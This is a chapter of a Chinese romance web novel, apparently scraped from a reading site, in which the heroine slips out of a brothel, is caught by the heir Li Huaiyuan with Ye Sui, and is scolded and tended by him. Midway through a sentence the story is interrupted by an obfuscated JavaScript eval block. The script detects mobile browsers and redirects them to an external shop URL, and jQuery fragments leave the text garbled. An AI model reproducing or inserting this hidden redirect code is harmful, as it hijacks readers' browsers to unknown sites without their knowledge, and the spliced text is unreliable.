我的心脏直窜嗓子眼,抖着手将木板盖上,刚物归原位,就见榻上那人动了动,嘴里咕哝着:“姑娘……”
随之而来的,是阁楼雅间的门被人一脚大力踹开,只听得一声中气十足的怒吼:“逆子!”
我赶紧屈膝蹲下,用宽大的衣袖遮挡着脸,俨然被吓坏一般。
“我三令五申,叫你近日不要出府,不要出府,想来你是全当耳旁风了!现在是个什么当口,你还敢跑出来寻欢作乐!”
“爹,孩儿瞧着上京挺风平浪静的,是您太……”
“蠢货!你能知道些什么,上面的暗流涌动能叫你知道?”崔相还想再骂些什么,又觉得地方不对,生生压了下来,道:
“来人!把这个逆子给我关回相府,半个月不许踏出大门半步。”
半个月?那不就是腊月初一至十五……怎么,十五过后这上京城就太平了不成?
“爹!爹!你们这群狗奴才竟敢碰我?!你们是不是疯了!”
崔相气急,一掌将其拍晕,冷冷道:“架回去。”
临走前向我的方向瞥了一眼,又不可察觉地朝属下一点头,待他走远,那名府官缓缓走到我跟前,笑道:“姑娘请吧。”
还好方才混乱之际,我趁人不注意,将事先准备好的面纱拿出挡住了面容,此时倒也不怕哪个火眼金睛的认出我是世子府的人。
我哆哆嗦嗦地站起身子,颤颤巍巍地下了楼,刚一走到正厅,便迎面撞上个女子,她低头规规矩矩对那府官行了礼,礼毕双手便直直朝我身上来。
府官道:“姑娘别怕,也不是公子信不过姑娘要凭白辱没你,实在是相府的规矩难为,我们下面这些人,不过也是例行检查罢了。”
哦,怕我拿了什么不该拿的,搜身啊。
于是点点头:“贵人身处高位,处境凶险,自然要再小心不过。”
那府官约莫是怕我回头跟崔金林告他的状,一直陪着笑脸,猝然听我这么一说,当即放下心来,又好言好语地说了几句话,催促那女子动作快些。
直到那阁楼落了锁,一干人等的脚步声越来越远,我那提到嗓子眼的心脏才终于归了位。
这时,叶绥从一旁的花丛里蹿出来,急匆匆地就带我往后院走,边走边不忍地看了我一眼:“那群人竟然搜你的身,这简直……简直太侮辱人了。”
“……”不侮辱吧,过安检不都这样吗?
见他没再多说什么,我跟在他后面,开始思绪乱飞。
按理说朝中争斗到底是与坊间关系不大,崔相不愿崔金林在这个当口惹是生非这好理解,但再也怎么说,也不至于直接拍晕了让下人押回府吧,毕竟是相府嫡子,竟是一点脸面都不留。
还是说,事情已经发展到了刻不容缓的地步?崔相懒得跟自己的蠢儿子废话。
穿过亭台水榭,远远地,就见叶绥的小厮一脸焦急地来回踱着步,一看见叶绥,瞬时欢天喜地了起来。
这事儿叶绥连他随身的小厮也没说过,所以直到这一刻,那小厮还以为我真的是寻芳阁里的姑娘,遂劝慰道:“公子,这老爷要是知道您赎了个……”
“行了行了,你不说我不说,怎么会有人知道。”叶绥从他手中接过一身小厮的衣服,一指旁边的屋子,朝我道:“快去换上,我们从后门出去。”
那小厮还在忠心耿耿地劝着,只见叶绥拍了拍他的背,郑重其事道:“实不相瞒,这位姑娘根本不是人。”
小厮哆嗦:“鬼……鬼啊。”
“自然不是。”叶绥先是敲打了他一番,又神神秘秘道:“这是九天玄女,来凡间历劫的,我们救她一命,待她回到天宫,自然要保佑我们福寿康健。”
“公子,那我想求个爱说笑的小媳妇……”
叶绥道:“成,我回头跟她说,你先回府去吧。”
“……”
拆卸了满头的金钗玉饰,我和叶绥悄然出了寻芳阁,后门这个时辰除了三两醉鬼,半个人影都没有,我们坐上辆临事雇来的马车,在临近几个街巷里都绕了一遍。
确保没人跟踪,这才弃了马车,徒步往世子府走去。
一路上加上系统,三人皆是神色匆匆,大气不敢出,生怕后面突然有人跳出来大喊一句“站住”,直到看见前方府邸门口的垂花檐柱下,挂着的熟悉的红纱贴金烛灯,我才突然脱了力,大口大口地喘着气。
叶绥双手叉在腰间,比我喘得还要厉害,两人突然一对视,都心有余悸地笑出声来。
“我说,今晚可真是太刺激了,当年我爹追着我跑八条街都没这个……”
正说着,偏殿忽然隐隐传来刀剑碰撞的打斗声,我示意叶绥蹲下来,猫着腰靠着墙根往前走,走了一阵,只听打斗声越发清晰了。
带路的叶绥转过身僵硬道:“对不起,走反了。”
“……”
“算了,先在这棵树下躲一阵吧。”墙根有棵粗壮的老桐树掩着,不易被人发觉,反倒是乱走的话,指不定直接撞到人家刀下去了。
叶绥和系统一左一右蹲在我两侧,跟两个门神似的,异口同声抬头问道:“里面发生什么事了?”
我没忍住笑了出来,突然冒出一个如果他俩是双胞胎那就好玩了的念头,不过话说回来,叶绥脾气向来很好,系统则十分易燃易怒。
听见我笑,叶绥也跟着笑笑:“今禾,你笑什么呀?”
反观系统,则白眼道:“笑屁哦。”
我清了清嗓子,朝墙内打斗方向看了一眼:“没看错的话,这里应该是静文公主暂居的地方吧……”
叶绥惊讶:“谁胆子这么大!”
胆子这么大的,统满上京城,皇后要是居于第二,谁敢居第一。
只是她暗杀李怀远就暗杀李怀远,人家静文又没招惹她,为什么非要大动干戈地来动她?而且看这架势,也不像是要除掉静文,倒像是要把人掳走的手法……
“皇后还真要抓了静文公主,以此来要挟李怀远啊?”系统在李怀远身边待久了,自然能猜到这是皇后的手笔,左右叶绥也听不见它的声音,它想说什么就说什么。
直到打斗声逐渐消散,周遭重归寂静,叶绥这才敢站直了身子,摸着胸口长舒一口气:“今夜真是太刺激了……”
只是话还没说完,他突然就变了脸色。
我吓了一大跳,直以为是叶绥看得到系统了,复仔细一瞧,才发现他是在看着我身后的方向。
只是我还没来得及松口气,就听见一声冷若寒潭的声音,夹杂在一股淡淡的雪松香之间传来。
“是有多刺激,不妨说给我听听?”
糟了!后背一僵,我定在原地一动不动。
……
此时夜色已浓,我和叶绥像两个小鸡仔似的,被李怀远提溜到了主院的内室。
第四次再来,果然不复以往尴尬,取而代之的是七分惶恐,和三分对叶绥的歉疚,原本下了马车就该同他作别的……
叶绥果然同他说的一般心善,说什么都要将我送回来,又说世子府与叶府是邻街,走世子府后门出去,再翻道墙就到家了,耽误不了一炷香的功夫。
现在看来,只怕是十炷香过后他都回不去了。
隔着个周舫纤腰的丹青色屏风,我跟叶绥一侧站一个,正面对着墙思过,这时,沉默了半晌的李怀远突然开口问话了,声音虽是冰冰凉凉的,却能听出来夹杂了不小的怒火。
“谁先说?”
“我我我。”叶绥一个箭步冲向榻前,三言两语就把我给卖了,但这也不怪他,他是真的怕了李怀远,不过好在最后还帮我说了两句好话。
“我们是全身而退了的,没被人发现,小叔放心,牵扯不到世子府。而且这事也不能怪今禾,她是真的有要紧事。”
“什么要紧事?”
“我也不知道。”
李怀远气极反笑:“你是蠢货吗?什么都不知道就敢跟着她乱来!她要是穷凶极恶之徒呢?要是什么变态,转手就把你卖到秦楼楚馆呢?”
叶绥一抖:“她应该不是吧……”
“还敢顶嘴?”
“你不知道,小叔。”叶绥急忙解释:“她那可是往龙潭虎穴里闯,不是要紧事谁傻啊,非去那种地方不可,何况、何况……”
“今晚当真凶险,那迷香要是再有一刻不起作用,今禾就被那狗东西给……”
陡然,只听“哗啦”地一声,玉盏应声而碎。李怀远甚至没等他把话说完,就掀翻了榻前的案几。
他眼眸森然,低沉的嗓音中极力压抑着怒气:“叶绥,你以前干的荒唐事我都既往不咎,但今日之事我记下了。”
叶绥一副快要哭了的神情,差点吓晕过去,闻言赶紧求饶:“小叔,我真的知道错了,我再也不敢了……”
“你向来是个不长记性的,这我知道。但今天你给我竖长了耳朵听清楚,今日之事你要再犯,或是胆敢在外面胡说半句,别说是你的命,就是诛了你们叶家满门,也是不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14278102|150881||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
为过的。”
叶绥哪听过这种话,霎时白了脸,被吓得说不出话来,只连连点头。
隔着九叠云锦中间的镂空花纹望去,李怀远双眼腥红,脸色比黑夜还要阴沉,我从未见过他发这么大的火。
此刻心中对叶绥真是万分愧疚,他明明什么都不知道,却被李怀远诓到书房又写又画,又被我诓到寻芳阁去打掩护,一点好处没捞着不说,现在还要承受李怀远的无名怒火。
按说此事又没有暴露,即便是我私自行动,他也不该气成这样才对。
“世子息怒,此事与叶小公子无关,他是被我威逼利诱才帮我办事的。”
李怀远死死地盯着我,半晌才咬着牙道:“你好大的能耐。”
“个中细节我会和您一一讲明,叶公子年幼,您就别吓他了,他绝不会泄露我去寻芳阁一事。”
叶绥拼命点头,就差给李怀远跪地起誓了。
也许连我自己都没有意识到,在与李怀远大半年的朝夕相处中,我的胆子逐渐越来越大,一次一次去探他的下限,却好像知道李怀远永远不会拿我怎么样似的。
李怀远被我们俩气得不轻,长长地缓了一口气:“今日之事,错不在于是否酿成了不可挽回的大祸,而在于你们没有意识到此事有多凶险,但凡当中出一点差错,你们俩,我一个也保不住!”
又看向叶绥道:“朝中之事我就不与你多说了,你要是有心,回去跟你爹打听打听崔相在朝野的行径,就知道自己今日此举有多蠢顿。”
“行了,回去吧,剩下的事我来料理,近日不要再去寻芳阁了。”
我知道他说的“剩下的事”,应该是指料理今夜在寻芳阁我和叶绥的破绽,还有留下的蛛丝马迹。
须臾云散众星出,偌大的屋里又只剩下我们两个。
“过来。”
榻上传来冷冷的声音,我眼观鼻鼻观心地走过去,脱了鞋,又与他对坐在榻中央。
李怀远一直闭着眼,眉峰紧蹙,神色冷峻,似乎因盛怒而有些呼吸不畅。
忽而想起那次被安乐鞭笞后我随意议论朝堂的话,当时他都没有这般吃人的模样。遂张了张口,有些不知道说什么。
只是软烟罗纱帐一放下,这样干坐着便显得颇为尴尬了,我终于还是鼓起勇气谄媚道:
“世子,您别气了,气坏了身子不值当。”
“别叫我世子,我不是世子,我说的话对你来说就是狗屁!”
“不是狗屁,是圭臬。”
他重重了换了好几口气:“圭臬?那你今日的行为算什么?”
“食君之禄,为君分忧。”
“放屁!”李怀远背过身去,完全不想看见我:“谁让你分忧了,忧是你这么分的吗?沈今禾,你不要太自以为是!”
“以为自己读了两天圣贤书,会两招三脚猫的功夫,就能上天入地、无所不能了?”
我忍不住用手指掏了掏左耳,李怀远在外面向来都是进退有度、不怒自威的,像今日这样直接化作炮仗噼里啪啦地响,我还真是是头一次见。
但炮仗总归是比冰封三尺的寒潭要好许多,我换了个姿势,双手搭在他的膝盖上,轻柔地按压着。
“世子教训的是,奴婢确实不该高估自己,更不该瞒着您。”
他转过身将我打量了一圈,嫌弃道:“都脱了奴籍了还奴什么婢,身上穿的什么破烂玩意,跟个小厮似的。”
我低头一看,这才回想起来,叶绥在寻芳阁让我换的衣服还没来得及换,就被李怀远逮住了。
不过这身衣服崭新崭新的,还是头一次穿,哪里像破烂了。
但我这会儿哪敢触李怀远的霉头,边帮他疏通腿部经络,边笑盈盈道:“就算是小厮,那也是您的小厮。”
烛台忽明忽暗,昏黄的光映在他脸上,那一抹愠怒终是淡了下去。
李怀远盯了会儿我手腕上划伤的小口子,语气软了下来:“怎么弄的?”
“大约是想要翻窗出来时,焦急之中刮到了哪里。”其实他不说我压根都没注意到这个么小口子,已经不流血了,也不疼,就是红红的看着渗人而已。
他深邃的眉眼间拧起一道竖纹,也没说什么,而是径直下了榻,在柜里和案几的匣盒里来回翻找,须臾,手里拿着个白瓷瓶子走向桌案边,示意我过来。
看着他小心翼翼给我涂抹药膏的动作,我有些不自在,只能转移注意力。
“世子,那个账本我看见了。”